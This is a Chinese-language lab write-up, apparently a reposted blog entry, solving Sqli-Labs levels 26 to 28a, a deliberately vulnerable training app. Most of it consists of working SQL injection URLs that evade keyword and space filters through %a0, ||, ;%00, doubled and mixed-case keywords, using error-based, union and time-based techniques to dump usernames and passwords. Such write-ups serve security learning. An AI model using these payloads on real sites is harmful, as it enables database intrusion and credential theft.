码迷,mamicode.com
首页 > 数据库 > 详细

Sqli-Labs less26-28a

时间:2020-01-27 00:09:44      阅读:96      评论:0      收藏:0      [点我收藏+]

标签:xml报错   观察   png   dock   报错   步骤   win   ase   word   

less-26

 

从第26关开始,我的sqli-labs就在docker上运行了,因为windows中阿帕奇对空格的转义有问题

 

技术图片

 

 

 通过源码可以看到有很多过滤,包括空格 or和and。

方法:

or可以用||替换

and可以用&&

注释符用;%00替代

空格用%a0替代

 

所以第一种办法:updatexml报错注入

当前数据库:http://192.168.0.106:300/Less-26/?id=0‘ || updatexml(1, concat(0x7e, database())  ,1)  || ‘1‘=‘1

技术图片

 

 

查表:http://192.168.0.106:300/Less-26/?id=1‘ || updatexml(1, concat(0x7e, (select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema=0x7365637572697479))) ,1)  || ‘1‘=‘1(注意双写)

技术图片

 

 

 

查字段:http://192.168.0.106:300/Less-26/?id=1‘ || updatexml(1, concat(0x7e, (select (group_concat(column_name)) from (infoorrmation_schema.columns) where (table_name=‘users‘))) ,1)  || ‘1‘=‘1

技术图片

 

 

 查值:http://192.168.0.106:300/Less-26/?id=1‘ || updatexml(1, concat(0x7e, (select (group_concat(  concat_ws(0x7e,username,passwoorrd)  )) from (security.users))) ,1)  || ‘1‘=‘1

技术图片

 

 

 这种方式不会输出太多,可以用下面的语句:

http://192.168.0.106:300/Less-26/?id=1‘ || updatexml(1, concat(0x7e, (select (group_concat(  concat_ws(0x7e,username,passwoorrd)  )) from (security.users)  where(id=5))) ,1)  || ‘1‘=‘1

可以通过改变id的值一个个查询:

技术图片

 

 

 

 

第二种办法:可以用%a0代替空格、;%00作为注释符:

直接最后一步:http://192.168.0.106:300/Less-26/?id=0‘ %a0 union%a0 select%a0 1,2,(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

技术图片

 

 

 这种方式是可以全选的

 

less-26a

观察26a的源码:技术图片

 

 

 

可以看到他屏蔽的输出错误,所以不能再用updatexml报错注入

只能用替代绕过:

http://192.168.0.106:300/Less-26a/?id=0‘) %a0 union%a0 select%a0 1,2,(select%a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

技术图片

 

 

 

 

less-27

观察代码:多加了select和union转义,并且区分大小写

技术图片

 

 

 

 

第一种方法:空格用%a0代替,并且union和select混合大小写:

http://192.168.0.106:300/Less-27/?id=0‘ %a0 uNIon%a0 sELect%a0 1,2,select %a0(  concat_ws(0x7e,username,password)) %a0from (%a0security.users )  %a0 limit %a0 3,1   ;%00

技术图片

 

 这里直接的最后一步,改变limit 的值拿到所有的数据

 

第二种办法:updatexml报错注入的方法:

http://192.168.0.106:300/Less-27/?id=1‘  %a0 ||  updatexml(1, concat(0x7e, (SElect %a0  concat_ws(0x7e,username,password) from  %a0  security.users  %a0 limit %a0 1,1  ) ),1)  || %a0 ‘1‘=‘1

 

技术图片

 

 

同样也是改变limit的值拿到所有的数据

 

 

less-27a

这一关与27关类似

第一种办法:空格用%a0代替,并且union和select混合大小写:

http://192.168.0.106:300/Less-27a/?id=0" %a0 uNIon%a0 sELect%a0 1,2,select %a0(  concat_ws(0x7e,username,password)) %a0from (%a0security.users )  %a0 limit %a0 1,1   ;%00

技术图片

 

 

第二种办法:使用基于时间的盲注 其中%26%26 代表 &&

http://192.168.0.106:300/Less-27a/?id=1" %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  "1"="1 

技术图片

 

 具体步骤省略

 

 

less-28

 

注意闭合:http://192.168.0.106:300/Less-28/?id=0‘)  %a0 union   %a0  select  %a0  1,2, (concat_ws(0x7e,username,password)) %a0  from  %a0   (security.users)  limit %a0  3,1 ;%00

技术图片

 

 

less-28a

28a与28基本完全一样,参考上关代码即可。

 

当然也可以用时间注入的方式,但是比较慢,所以推荐上面的方法。

 

Sqli-Labs less26-28a

标签:xml报错   观察   png   dock   报错   步骤   win   ase   word   

原文地址:https://www.cnblogs.com/hzk001/p/12233577.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!